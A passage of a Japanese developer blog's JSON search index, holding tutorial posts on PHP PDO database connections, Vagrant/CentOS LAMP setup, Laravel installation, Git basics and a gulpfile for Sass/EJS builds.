Name）文字列\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003e$dsn\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;mysql:host={$host};dbname={$dbName};charset=utf8\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e//MySQLデータベースに接続する\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003e$pdo\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enew\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ePDO\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003e$dsn\u003c/span\u003e,\u003cspan style=\"color:#a6e22e\"\u003e$user\u003c/span\u003e,\u003cspan style=\"color:#a6e22e\"\u003e$password\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e//PDOクラスのエミュレーションを無効にする\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003e$pdo\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003esetAttribute\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ePDO\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e::\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eATTR_EMULATE_PREPARES\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e//例外をスローする設定にする\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003e$pdo\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003esetAttribute\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ePDO\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e::\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eATTR_ERRMODE\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003ePDO\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e::\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eERRMODE_EXCEPTION\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eecho\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;データベース{$dbName}に接続しました。\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\u003cspan style=\"color:#66d9ef\"\u003ecatch\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003eException\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003e$e\u003c/span\u003e){\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eecho\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;データベース接続エラーです\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eecho\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003e$e\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003egetMessage\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e?\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"PHPでMySQLデータベースへPDO接続方法"},{"content":"VagrantでCentOS7をインストールすると、デフォルトでは時間が日本時間になってないのでタイムゾーンの設定をする。\n以下、日本時間に設定するコマンドです。\ntimedatectl set-timezone Asia/Tokyo dateコマンドで確認します。\n$ date Tue May 28 09:04:09 JST 2019 ちゃんと、現在の時刻になっていることが確認できました。\n","permalink":"https://pop-web.github.io/server/linux/vagrant-centos-set-timezone/","summary":"\u003cp\u003eVagrantでCentOS7をインストールすると、デフォルトでは時間が日本時間になってないのでタイムゾーンの設定をする。\u003c/p\u003e\n\u003cp\u003e以下、日本時間に設定するコマンドです。\u003c/p\u003e","title":"Vagrant、CentOS7環境でタイムゾーンを日本時間するコマンド"},{"content":"Laravelのチーム開発で、途中から参加する場合、リモートリポジトリからプロジェクトデータをgit cloneすることはよくあります。\nLaravelは、元から「.gitignore」ファイルが存在している為、gitリポジトリからデータを落としてきても不完全なわけです。\nよくあるのが、「vendor」ディレクトリや「.env」ファイルがなくて動かないよってやつです。\ngit cloneでプロジェクトを落としてくる まず、はじめに開発するLaravelプロジェクトをgit cloneします。\ngit clone [gitリモートリポジトリのURL] composerでライブラリを入れる ライブラリ群をインストールします。\n「composer.lock」ファイルを読み込みに行かせるために、以下のコマンドを入力。\ncomposer install これで、「vendor」ディレクトリができて中に、ライブラリ群が入っている状態になります。\n.envファイルの作成 設定ファイルである「.env」ファイルを作成します。\nすでに、ある「.env.example」ファイルをリネームして作成します。\ncp .env.example .env アプリケーションキーの設定\n「.env」ファイルの中の、APP_KEY値がデフォルトままなので、以下のコマンドで値をセットします。\nphp artisan key:generate この設定で、ユーザーセッションや他の暗号化済みデーターは安全に守られるようになります。\nこれで、Laravelプロジェクトをブラウザで確認してちゃんと表示できているか確認します。\n別途、ドキュメントルートの設定が必要な場合がありますので、その場合も各自設定しておきましょう。\n","permalink":"https://pop-web.github.io/programming/laravel/laravel-project-git-clone/","summary":"\u003cp\u003eLaravelのチーム開発で、途中から参加する場合、リモートリポジトリからプロジェクトデータをgit cloneすることはよくあります。\u003c/p\u003e\n\u003cp\u003eLaravelは、元から「.gitignore」ファイルが存在している為、gitリポジトリからデータを落としてきても不完全なわけです。\u003c/p\u003e","title":"共有するLaravelプロジェクトをgit cloneしてきた後の設定手順"},{"content":"※gitは事前にインストールしているものする。\ngit管理していない作業ディレクトリや、すでにローカルリポジトリがある場合にGitHubへ登録する手順を書く。\nローカルリポジトリを作る 現在の作業ディレクトリで、バージョン管理していない場合、ますローカルのリポジトリを作ってディレクトリ内のファイルをコミットしておく。\n作業ディレクトリに移動して、git initする。\ncd 作業ディレクトリ git init これで、.gitディレクトリができる。\n次に、ファイルたちをインデックスさせてコミットする。\ngit add . git commit -m \u0026#34;first commit\u0026#34; GitHubでリポジトリを作る GitHubへ行き、「New Repository」ボタンを押して、リポジトリを作っておく。\nできたリポジトリURLをコピーしておく。\nローカルとリモートを関連付ける 以下のコマンドでローカルとリモートをつなげる。\ngit remote add origin https://github.com/username/sample.git 関連付けられているか確認\ngit remote -v リモートにpushする git push origin master ","permalink":"https://pop-web.github.io/programming/git/git-regist/","summary":"\u003cp\u003e※gitは事前にインストールしているものする。\u003c/p\u003e\n\u003cp\u003egit管理していない作業ディレクトリや、すでにローカルリポジトリがある場合にGitHubへ登録する手順を書く。\u003c/p\u003e","title":"既存のディレクトリにローカルリポジトリ作成しをGitHubに登録する"},{"content":"vagrantのCentOS7環境で、Laravelを「cmposer create-project …」でインストールしようとしたら以下のエラーがでた。\n# composer create-project --prefer-dist laravel/laravel /var/www/html/laravelapp Installing laravel/laravel (v5.5.28) Failed to download laravel/laravel from dist: The zip extension and unzip command are both missing, skipping. Your command-line PHP is using multiple ini files. Run `php --ini` to show them. Now trying to download from source - Installing laravel/laravel (v5.5.28): Cloning f4cba4f2b2 [RuntimeException] Failed to clone https://github.com/laravel/laravel.git, git was not found, check that it is installed and in your P ATH env. sh: git: command not found create-project [-s|--stability STABILITY] [--prefer-source] [--prefer-dist] [--repository REPOSITORY] [--repository-url REPOSITORY-URL] [--dev] [--no-dev] [--no-custom-installers] [--no-scripts] [--no-progress] [--no-secure-http] [--keep-vcs] [--remove-vcs] [--no-install] [--ignore-platform-reqs] [--] [\u0026lt;package\u0026gt;] [\u0026lt;directory\u0026gt;] [\u0026lt;version\u0026gt;] エラーを見ると、**zipとunzipがない。そして、gitもない。**と言っています。\nなので、以下でzip, unzip, gitインストールします。\n# yum -y install zip unzip git これで再度コマンドを入力すれば、無事にLaravelプロジェクトがインストールされます。\n","permalink":"https://pop-web.github.io/programming/laravel/laravel-install-error/","summary":"\u003cp\u003evagrantのCentOS7環境で、Laravelを「cmposer create-project …」でインストールしようとしたら以下のエラーがでた。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# composer create-project --prefer-dist laravel/laravel /var/www/html/laravelapp\nInstalling laravel/laravel (v5.5.28)\n    Failed to download laravel/laravel from dist: The zip extension and unzip command are both missing, skipping.\nYour command-line PHP is using multiple ini files. Run `php --ini` to show them.\n    Now trying to download from source\n  - Installing laravel/laravel (v5.5.28): Cloning f4cba4f2b2\n\n  [RuntimeException]\n  Failed to clone https://github.com/laravel/laravel.git, git was not found, check that it is installed and in your P\n  ATH env.\n\n  sh: git: command not found\n\ncreate-project [-s|--stability STABILITY] [--prefer-source] [--prefer-dist] [--repository REPOSITORY] [--repository-url REPOSITORY-URL] [--dev] [--no-dev] [--no-custom-installers] [--no-scripts] [--no-progress] [--no-secure-http] [--keep-vcs] [--remove-vcs] [--no-install] [--ignore-platform-reqs] [--] [\u0026lt;package\u0026gt;] [\u0026lt;directory\u0026gt;] [\u0026lt;version\u0026gt;]\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eエラーを見ると、**zipとunzipがない。そして、gitもない。**と言っています。\u003c/p\u003e","title":"Laravelプロジェクトをインストールエラー（zip、unzip、gitがないため）"},{"content":"Windows10 + VirtualBox + VagrantでLAMP開発環境手順（1）の続き\nvagrantでssh接続できたところから。\n[vagrant@localhost ~]$ これからLAMP環境を構築していく\nApache PHP7 MySQL5.7 rootユーザーになる su パスワードは「vagrant」。\n以下のように、「#」が先頭につけばOK\n[root@localhost vagrant]# SELINUXの無効化 SELINUXはセキュリティの為、デフォルトで有効になっていますが、取り扱いが難しいので、ここではオフにします。\ncofigファイルを開いて、編集する。\nvi /etc/selinux/config 以下の箇所を変更\nSELINUX=enforcing ↓ SELINUX=disabled 適用させるために、CentOS7を再起動させます。\nreboot 再度、vagrant sshでssh接続してrootユーザになります。\ngetenforceと入力して、Disableと出ればSELINUXが無効化されています。\n[root@localhost vagrant]# getenforce Disabled Apacheインストール yum -y install httpd Apacheの起動\nsystemctl start httpd MySQLのインストール CentOS7で、デフォルトで入っているMariaDBをまずは削除する\nyum -y remove mariadb-libs.x86_64 リポジトリを追加して、インストールする。\nyum -y install http://dev.mysql.com/get/mysql57-community-release-el7-8.noarch.rpm yum -y install mysql-community-server MySQLの起動\nsystemctl start mysqld PHPのインストール まずは、リポジトリを追加する。\nyum -y install epel-release rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm PHPをもろもろインストールする。\nyum -y install --enablerepo=remi,epel,remi-php70 php php-devel php-intl php-mbstring php-pdo php-gd php-mysqlnd ブラウザで確認 http://192.168.33.10/へアクセスする。\nApacheのテストページが表示されればOK\n","permalink":"https://pop-web.github.io/server/vagrant/local-development-environment-2/","summary":"\u003cp\u003e\u003ca href=\"https://blog.popweb.dev/server/vagrant/local-development-environment/\"\u003eWindows10 + VirtualBox + VagrantでLAMP開発環境手順（1）\u003c/a\u003eの続き\u003c/p\u003e\n\u003cp\u003evagrantでssh接続できたところから。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e[vagrant@localhost ~]$\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eこれからLAMP環境を構築していく\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eApache\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePHP7\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMySQL5.7\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"rootユーザーになる\"\u003erootユーザーになる\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esu\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eパスワードは「vagrant」。\u003c/p\u003e","title":"Windows10 + VirtualBox + VagrantでLAMP開発環境手順（2）"},{"content":"事前にComposerをインストールしておいてください。\nLaravelをインストール方法は、2パターン。\nLaravelインストーラを使う方法 Laravelインストーラを使わない方法 Laravelインストーラを使う方法 composerコマンドで、Laravelインストーラをダウンロードします。\nコマンドプロンプト、または好きなターミナルを立ち上げて、以下を入力。\ncomposer global require \u0026#34;laravel/installer\u0026#34; --prefer-dist ※バージョン指定の場合 composer global require \u0026#34;laravel/installer=~1.1\u0026#34; --prefer-dist インストールに少し時間がかかります…\n環境変数PATHを設定する インストールが完了したら、環境変数PATHを設定して、Laravelコマンドを使用できるようにします。\nWindowsの環境変数PATHの設定は、Windowsの検索窓の「環境変数」と入力すれば、「システム環境変数の編集」がヒットするので選択し、さらに現れたウィンドウの中の「環境変数」をクリックします。\n表示された環境変数のウィンドウのリストから「Path」を選択して「編集」ボタンをクリックして編集していきます。\nそして、以下のパスを追加します。\n%USERPROFILE%\\AppData\\Roaming\\Composer\\vendor\\bin これでLaravelコマンドつかえるようになりましたので、以下のコマンドで新規のLaravelプロジェクトを作成します。\nlaravel new プロジェクト名 これでインストールが完了したら、フォルダの中にLaravelフレームワークのファイル一式が入っている状態になります。\nLaravelインストーラを使わない方法 インストーラを使わない方法では、composerで以下のように入力してプロジェクトを作成します。\ncomposer create-project --prefer-dist laravel/laravel プロジェクト名 ※バージョン指定の場合 composer create-project --prefer-dist \u0026#34;laravel/laravel=5.7.*\u0026#34; プロジェクト名 ちなみに、オプションの「\u0026ndash;prefer-dist」はZIPでダウンロードするって意味。\n指定なしだと、 git cloneでダウンロードで、ZIPダウンロードの方が高速らしい。\nどっちがいいのか 色々なサイトで調べてみても、インストーラを使わない方法が多いみたい。\nなので、私はインストーラを使わない方法でやっています。\n","permalink":"https://pop-web.github.io/programming/laravel/laravel-install/","summary":"\u003cp\u003e事前にComposerをインストールしておいてください。\u003c/p\u003e\n\u003cp\u003eLaravelをインストール方法は、2パターン。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eLaravelインストーラを使う方法\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLaravelインストーラを使わない方法\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"laravelインストーラを使う方法\"\u003e\u003cstrong\u003eLaravelインストーラを使う方法\u003c/strong\u003e\u003c/h2\u003e\n\u003cp\u003ecomposerコマンドで、Laravelインストーラをダウンロードします。\u003c/p\u003e","title":"Laravelのインストール方法、方法は2パターン"},{"content":"Linuxコマンドで 「～」チルダの意味は、ホームディレクトリを意味します。\n試しに使ってみるとわかりやすい。\nagreeというユーザーでログインしており、自身のagreeディレクトリのpublic_htmlディレクトリに移動したい場合は以下のようになる。\n$ cd ~/public_html $ pwd // 現在のディレクトリを表示する「pwd」コマンド /c/Users/agree/public_html 単にホームディレクトリに移動するだけなら、「cd」と入力するだけでよい。\n$ cd $ pwd /c/Users/agree ちなみに、「/」はルートディレクトリを意味するので、「cd /」だとルートディレクトリに移動する。\n$ cd / $ pwd / ","permalink":"https://pop-web.github.io/server/linux/linux-tilde/","summary":"\u003cp\u003eLinuxコマンドで 「～」チルダの意味は、\u003cstrong\u003eホームディレクトリを意味\u003c/strong\u003eします。\u003c/p\u003e\n\u003cp\u003e試しに使ってみるとわかりやすい。\u003c/p\u003e\n\u003cp\u003eagreeというユーザーでログインしており、自身のagreeディレクトリのpublic_htmlディレクトリに移動したい場合は以下のようになる。\u003c/p\u003e","title":"Linuxコマンドの「~」チルダの意味は"},{"content":"事前にXAMPPとLaravelとComposerをインストールしておいてください。\nLaravelのインストールはLaravelのインストール方法、方法は2パターン【Windows10】を参考にしてみてください。\nプロジェクトフォルダの作成 まずは、作業するためのフォルダを作成します。\nコマンドプロンプトを起動して、XAMPPの「htdocs」フォルダに移動\ncd C:\\xampp\\htdocs Laravelコマンドの実行 「laravel new プロジェクトの名前」で、コマンドを実行します。\n今回、 プロジェクトの名前は「app」で作成。\ncomposer global require \u0026#34;laravel/installer\u0026#34; --prefer-dist laravel new app または、こっちでインストール\ncomposer create-project --prefer-dist laravel/laravel app コマンドを実行すると、色々とインストールされるので完了するまで待ちます。\nURLにアクセスしてページ確認 以下の、URLにアクセスすればLaravelのデフォルトページが確認できます。\nhttp://localhost/app/public/\nPHPテンプレートファイルの作成 appフォルダの中の「resources」-\u0026gt;「view」に移動して、「helloworld」を作成し、さらにその中に「index.php」という名前でPHPファイルを作成します。\nソースをは以下を記述します。\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;ja\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;Hello World\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Hello World!!\u0026lt;/h1\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; ルートの設定でテンプレートを表示 作成したテンプレートを表示させるため、ルート情報を設定します。\n「routes」-\u0026gt;「web.php」を開きます。\n「web.php」に、以下のソースを追記します。\nRoute::get(\u0026#39;hello\u0026#39;, function () { return view(\u0026#39;helloworld.index\u0026#39;); }); 保存したら、以下のURLにアクセスして表示確認します。\nhttp://localhost/app/public/helloworld\nきちんと、「Hello World!!」が表示されれば完了です。\n","permalink":"https://pop-web.github.io/programming/laravel/laravel-xampp-hello-world/","summary":"\u003cp\u003e事前に\u003cstrong\u003eXAMPP\u003c/strong\u003eと\u003cstrong\u003eLaravel\u003c/strong\u003eと\u003cstrong\u003eComposer\u003c/strong\u003eをインストールしておいてください。\u003c/p\u003e\n\u003cp\u003eLaravelのインストールは\u003ca href=\"https://blog.popweb.dev/programming/laravel/laravel-install/\"\u003eLaravelのインストール方法、方法は2パターン【Windows10】\u003c/a\u003eを参考にしてみてください。\u003c/p\u003e\n\u003ch2 id=\"プロジェクトフォルダの作成\"\u003eプロジェクトフォルダの作成\u003c/h2\u003e\n\u003cp\u003eまずは、作業するためのフォルダを作成します。\u003c/p\u003e","title":"Laravel + XAMPP環境で「Hello World」を表示させるまで【Windows10】"},{"content":" **VirtualBox：**ローカル 開発環境に仮想マシンを作れるソフト **Vagrant：**VirtualBoxでローカル開発環境を作るときに便利なソフト VirtualBoxのインストール 以下で、VirtualBoxをインストール\nhttps://www.virtualbox.org/\nインストールが始まったら、とりあえず、すべてYesで進む。\nVagrantのインストール 以下で、Windows版のVagrantをインストール\nhttps://www.vagrantup.com/downloads.html\nインストールが始まったら、とりあえず、すべてYesで進む。\nVagrantがインストールされているか確認する。\nコマンドプロンプト、またはその他のターミナルソフトを立ち上げて、\n以下のコマンドを入力。\nvagrant -v Vagrant 2.2.4 イメージファイルのインストール Vagrantの専用フォルダを作成 Vagrantのイメージファイルをインストールしていきますが、\nその前にまずは、Vagarantの専用のフォルダを作成します。\nコマンドプロンプトで、以下のようにフォルダを作成し移動しておきます。\nmkdir C:\\vagrant cd C:\\vagrant mkdir centos7 cd centos7 Boxを検索してインストール VagrantにはBoxファイルという、仮想マシンのテンプレートなるイメージファイルがあります。\n以下のURLで、色々なBoxファイルを見つけることができます。\nhttps://app.vagrantup.com/boxes/search\n「centos」で検索すると、たくさんヒットしますが、今回は「centos/7」を使おうと思います。\nコマンドプロンプトで、以下のコマンドを入力してVagrantを初期化します。\nvagrant init centos/7 これで、フォルダに「Vagrantfile」が作成されます。\nVagrantfileの編集 Vagrantfileをテキストエディタで開いて確認と編集します。\n以下の項目が指定したBox名の「centos/7」になっていることを確認します。\nconfig.vm.box = \u0026#34;centos/7\u0026#34; 次に、以下の項目の先頭の「#」を削除してください。\nconfig.vm.network \u0026#34;private_network\u0026#34;, ip:\u0026#34;192.168.33.10\u0026#34; 仮想マシンの起動 Vagrantfileを編集後、保存したら、以下のコマンドで仮想マシンを起動します。\nvagrant up VirtualBoxで起動を確認 VirtualBoxでインストールした仮想マシンが起動しているのを確認できます。\n仮想マシンにSSH接続 コマンドプロンプトで、以下のコマンドを入力することで、仮想マシンへログインすることができます。\nvagrant ssh 以下のように、確認できれば接続完了です。\n[vagrant@localhost ~]$ Windows10 + VirtualBox + VagrantでLAMP開発環境手順（2）に続く\n","permalink":"https://pop-web.github.io/server/vagrant/local-development-environment/","summary":"\u003cul\u003e\n\u003cli\u003e**VirtualBox：**ローカル 開発環境に仮想マシンを作れるソフト\u003c/li\u003e\n\u003cli\u003e**Vagrant：**VirtualBoxでローカル開発環境を作るときに便利なソフト\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"virtualboxのインストール\"\u003eVirtualBoxのインストール\u003c/h2\u003e\n\u003cp\u003e以下で、VirtualBoxをインストール\u003cbr\u003e\n\u003ca href=\"https://www.virtualbox.org/\"\u003ehttps://www.virtualbox.org/\u003c/a\u003e\u003c/p\u003e","title":"Windows10 + VirtualBox + VagrantでLAMP開発環境手順（1）"},{"content":"HTML、CSSコーディング作業で使用している私のgulpfileのサンプルを置いておく。\n\u0026#34;use strict\u0026#34; const gulp = require(\u0026#39;gulp\u0026#39;) const sass = require(\u0026#39;gulp-sass\u0026#39;) //scssコンパイル const autoprefixer = require(\u0026#34;gulp-autoprefixer\u0026#34;)//べンダープレフィックス const sassGlob = require(\u0026#34;gulp-sass-glob\u0026#34;)//import文を短くまとめる const cleanCSS = require(\u0026#39;gulp-clean-css\u0026#39;)//cssフォーマッタ const notify = require(\u0026#39;gulp-notify\u0026#39;) //エラーを通知 const plumber = require(\u0026#39;gulp-plumber\u0026#39;) //watch中にエラー防止 const sourcemaps = require(\u0026#39;gulp-sourcemaps\u0026#39;)//ソースマップ const ejs = require(\u0026#34;gulp-ejs\u0026#34;) //EJS const rename = require(\u0026#39;gulp-rename\u0026#39;)//リネーム const replace = require(\u0026#34;gulp-replace\u0026#34;)//置換 const browserSync = require(\u0026#34;browser-sync\u0026#34;)//自動リロード const del = require(\u0026#39;del\u0026#39;)//削除 // paths const paths = { src: \u0026#39;src\u0026#39;, dist: \u0026#39;dist\u0026#39; } //scssコンパイル gulp.task(\u0026#34;sass\u0026#34;, () =\u0026gt; { return gulp.src(paths.src + \u0026#34;/scss/style.scss\u0026#34;) .pipe(plumber({ errorHandler: notify.onError(\u0026#34;Error: \u0026lt;%= error.message %\u0026gt;\u0026#34;) })) .pipe(sourcemaps.init()) .pipe(sassGlob()) .pipe(sass()) .pipe(autoprefixer({ grid: true })) .pipe(cleanCSS({format: \u0026#39;beautify\u0026#39;})) .pipe(sourcemaps.write(paths.dist + \u0026#34;/css\u0026#34;)) .pipe(gulp.dest(paths.dist + \u0026#34;/css\u0026#34;)) .pipe(notify({ title: \u0026#39;Sassをコンパイルしました。\u0026#39;, message: new Date(), sound: \u0026#39;Tink\u0026#39;, })) }) //EJS gulp.task(\u0026#34;ejs\u0026#34;, () =\u0026gt; { return gulp.src([paths.src + \u0026#34;/ejs/**/*.ejs\u0026#34;, \u0026#34;!\u0026#34; + paths.src + \u0026#34;/ejs/**/_*.ejs\u0026#34;]) .pipe(ejs({}, {}, {ext:\u0026#39;.html\u0026#39;})) .pipe(rename({ extname: \u0026#34;.html\u0026#34; })) .pipe(replace(/[\\s\\S]*?(\u0026lt;!DOCTYPE)/, \u0026#34;$1\u0026#34;)) .pipe(gulp.dest(paths.dist)) .pipe(notify({ title: \u0026#39;EJSをコンパイルしました。\u0026#39;, message: new Date(), sound: \u0026#39;Tink\u0026#39;, })) }) // server gulp.task(\u0026#39;browser-sync\u0026#39;, () =\u0026gt; { return browserSync.init({ server: { baseDir: paths.dist }, port: 4000, reloadOnRestart: true }) }) // reload gulp.task(\u0026#34;reload\u0026#34;, done =\u0026gt; { browserSync.reload() done() }) // clean gulp.task(\u0026#39;clean\u0026#39;, (done) =\u0026gt; { del(paths.dist + \u0026#39;/**/*\u0026#39;); done(); }); // watch gulp.task(\u0026#34;watch\u0026#34;, done =\u0026gt; { gulp.watch(paths.src + \u0026#34;/scss/**/*.scss\u0026#34;, gulp.series(\u0026#39;sass\u0026#39;, \u0026#39;ejs\u0026#39;, \u0026#39;reload\u0026#39;)) gulp.watch(paths.src + \u0026#34;/ejs/**/*.ejs\u0026#34;, gulp.series(\u0026#39;ejs\u0026#39;, \u0026#39;reload\u0026#39;)) done() }) // gulp gulp.task(\u0026#39;default\u0026#39;, gulp.parallel(\u0026#39;watch\u0026#39;, \u0026#39;browser-sync\u0026#39;) ) // build gulp.task(\u0026#39;build\u0026#39;, gulp.series(\u0026#39;clean\u0026#39;, gulp.series(\u0026#39;sass\u0026#39;, gulp.series(\u0026#39;ejs\u0026#39;,))) ) ","permalink":"https://pop-web.github.io/programming/javascript/gulp-ejs-sass-browser-sync%E3%81%AEgulpfile%E3%82%B5%E3%83%B3%E3%83%97%E3%83%AB/","summary":"\u003cp\u003eHTML、CSSコーディング作業で使用している私のgulpfileのサンプルを置いておく。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e\u0026#34;use strict\u0026#34;\n\nconst gulp = require(\u0026#39;gulp\u0026#39;)\nconst sass = require(\u0026#39;gulp-sass\u0026#39;) //scssコンパイル\nconst autoprefixer = require(\u0026#34;gulp-autoprefixer\u0026#34;)//べンダープレフィックス\nconst sassGlob = require(\u0026#34;gulp-sass-glob\u0026#34;)//import文を短くまとめる\nconst cleanCSS = require(\u0026#39;gulp-clean-css\u0026#39;)//cssフォーマッタ\nconst notify = require(\u0026#39;gulp-notify\u0026#39;) //エラーを通知\nconst plumber = require(\u0026#39;gulp-plumber\u0026#39;) //watch中にエラー防止\nconst sourcemaps = require(\u0026#39;gulp-sourcemaps\u0026#39;)//ソースマップ\nconst  ejs = require(\u0026#34;gulp-ejs\u0026#34;) //EJS\nconst rename = require(\u0026#39;gulp-rename\u0026#39;)//リネーム\nconst replace = require(\u0026#34;gulp-replace\u0026#34;)//置換\nconst browserSync = require(\u0026#34;browser-sync\u0026#34;)//自動リロード\nconst del = require(\u0026#39;del\u0026#39;)//削除\n\n// paths\nconst paths = {\n  src: \u0026#39;src\u0026#39;,\n  dist: \u0026#39;dist\u0026#39;\n}\n\n//scssコンパイル\ngulp.task(\u0026#34;sass\u0026#34;, () =\u0026gt; {\n    return gulp.src(paths.src + \u0026#34;/scss/style.scss\u0026#34;)\n      .pipe(plumber({ errorHandler: notify.onError(\u0026#34;Error: \u0026lt;%= error.message %\u0026gt;\u0026#34;) }))\n      .pipe(sourcemaps.init())\n      .pipe(sassGlob())\n      .pipe(sass())\n      .pipe(autoprefixer({\n        grid: true\n      }))\n      .pipe(cleanCSS({format: \u0026#39;beautify\u0026#39;}))\n      .pipe(sourcemaps.write(paths.dist + \u0026#34;/css\u0026#34;))\n      .pipe(gulp.dest(paths.dist + \u0026#34;/css\u0026#34;))\n      .pipe(notify({\n        title: \u0026#39;Sassをコンパイルしました。\u0026#39;,\n        message: new Date(),\n        sound: \u0026#39;Tink\u0026#39;,\n    }))\n})\n\n//EJS\ngulp.task(\u0026#34;ejs\u0026#34;, () =\u0026gt; {\n    return gulp.src([paths.src + \u0026#34;/ejs/**/*.ejs\u0026#34;, \u0026#34;!\u0026#34; + paths.src + \u0026#34;/ejs/**/_*.ejs\u0026#34;])\n    .pipe(ejs({}, {}, {ext:\u0026#39;.html\u0026#39;}))\n    .pipe(rename({ extname: \u0026#34;.html\u0026#34; }))\n    .pipe(replace(/[\\s\\S]*?(\u0026lt;!DOCTYPE)/, \u0026#34;$1\u0026#34;))\n    .pipe(gulp.dest(paths.dist))\n    .pipe(notify({\n      title: \u0026#39;EJSをコンパイルしました。\u0026#39;,\n      message: new Date(),\n      sound: \u0026#39;Tink\u0026#39;,\n  }))\n})\n\n// server\ngulp.task(\u0026#39;browser-sync\u0026#39;, () =\u0026gt; {\n    return browserSync.init({\n        server: {\n            baseDir: 